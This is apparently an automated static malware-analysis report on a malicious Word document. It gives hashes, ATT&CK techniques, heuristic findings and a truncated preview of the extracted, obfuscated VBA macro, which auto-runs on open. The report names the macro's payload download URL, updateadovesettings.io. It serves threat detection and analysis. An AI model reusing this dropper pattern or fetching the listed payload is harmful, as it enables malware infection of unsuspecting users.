Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 6a3a91e19b25ace7…

MALICIOUS

Office (OOXML)

476.4 KB Created: 2018-11-07 15:06:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2019-01-11
MD5: 1c5ea926c8c1cb2908ffe26754da39ae SHA-1: f262c14a948b552640cd5410cb9a4bd6577c932e SHA-256: 6a3a91e19b25ace7ea5c672a4cf13d8ef27802dfedb7d633a33a70830e88635f
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains a VBA macro that automatically executes upon opening the document. This macro utilizes the Shell() function to download and execute a payload from an obfuscated URL. The presence of the Document_Open macro and the obfuscated Shell command strongly indicate a malicious intent to download and run a secondary stage.

Heuristics 7

  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://updateadovesettings.io/Shp0t1m32609.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 37681 bytes
SHA-256: dd21b2cbbdfaeb4a6ca5df5251d0319540a78c37f2bee70e7ff6742d2d03ce55
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Const JgvsIUColMQhTEZDYPUINvrCXUuxELbnTWAAKaqMncGOLEYPcXDTq = 1698130
Const tMQZvxbxxBkdVJSfmTJUxtaOp7905 = 6468
Const UnZFjZkroHozHboXKMKNgOCPLlCHbAmBk27837 = 92


#If VBA7 Then
Private Declare PtrSafe Function cWJAjkyzNMWZrwnYxTfZmaVfftsfIzPqzmyebBLAxJyCcRvOWq Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function oZCRGnuGUMUHSwjRmQEAAhTwWDPJumpiKtMvXddLEJggucoTVw Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function JpqFQpejoaHFzZLnGpzDHXgkDcWJAjkyzNMWZrwnYxTfZmaVff Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function BKcSqLBYLmrPGgXLnFattSGfzapNznGMpHeGCnBLhWXxsfZjiQ92 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function BKcSqLBYLmrPGgXLnFattSGfz662 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function BKcSqLBYLmrPGgXLnFattSGfzCgaTlUNeumIDhnsTeqFJRvCeW Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function cWJAjkyzNMWZrwnYxTfZmaVfftsfIzPqzmyebBLAxJyCcRvOWq Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function oZCRGnuGUMUHSwjRmQEAAhTwWDPJumpiKtMvXddLEJggucoTVw Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare Function JpqFQpejoaHFzZLnGpzDHXgkDcWJAjkyzNMWZrwnYxTfZmaVff Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare Function BKcSqLBYLmrPGgXLnFattSGfzapNznGMpHeGCnBLhWXxsfZjiQ92 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare Function BKcSqLBYLmrPGgXLnFattSGfz662 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare Function BKcSqLBYLmrPGgXLnFattSGfzCgaTlUNeumIDhnsTeqFJRvCeW Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#End If


Private Const VxOdHqxEFTzWveQfkQxXOHRKN = 7
Const OEbMGlKtxXcQnVmPExBzRuyUCtrY507060574832854 = 7
Private Const dnYsRLsdVKrmLifZ1698130 = 27
Const tsfIzPqzmyebBLAxJyCcRvOWq599075413 = 731398
Private Const DPJumpiKtMvXddLEJggucoTVw718945374720909389 = 6468

Const pzfjcttIOvVhhGCqKCWtWGqYGSrGLYPWohybNKLCIULVvvDVCTHVcU = 21
Const fvNaNkBnCmjsVdmGsBHylb6842 = 89
Const ANiJGcJCnwwQZTHtRpWzkKdkNlAZpyNgDy205217 = 54


#If VBA7 Then
Private Declare PtrSafe Function vYsZNGLZyunaCnffAFVBAMBEFqWkLGLonpuKdxXMwuxsyyolKq Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function bkQCgHKDGpHoSuzeYzjAOBLuAdRIibBhCqjYNUiuQBiiqomqyU Lib "user32" Alias "SetPropA" (ByVal hwnd As Long, ByVal lpString As String, ByVal hData As Long) As Long
Private Declare PtrSafe Function SVzGDYSWJbEhlhvEejnHGCnwcvYsZNGLZyunaCnffAFVBAMBEF Lib "user32" Alias "RemovePropA" (ByVal hwnd As Long, ByVal lpString As String) As Long
Private Declare PtrSafe Function EBwwHjxmWiechxFWzNQTFaytkPTkItkiOEcScEIAYakiTboBZA54 Lib "user32" Alias "EnumPropsA" (ByVal hwnd As Long, ByVal lpEnumFunc As Long) As Long
Private Declare PtrSafe Function EBwwHjxmWiechxFWzNQTFaytk184 Lib "kernel32" Alias "lstrlenA" (ByVal lpString As String) As Long
Private Declare PtrSafe Function EBwwHjxmWiechxFWzNQTFaytkirXkalYaXdAWMccVBGSpIBdGV Lib "kernel32" Alias "lstrcpyA" (ByVal lpString1 As String, ByVal lpString2 As Long) As Long
#Else
Private Declare Function vYsZNGLZyunaCnffAFVBAMBEFqWkLGLonpuKdxXMwuxsyyolKq Lib "user32" Alias "GetPropA" (ByVal hwnd As Long, ByVal lpStr
... (truncated)
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 73728 bytes
SHA-256: 245db9af243ac59d1ab039f85df8b1f3fe81d626a338472d4b5adff0b3024e52
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 14 long base64-like blob(s).

Open this report in the interactive analyzer, or submit your own file for analysis.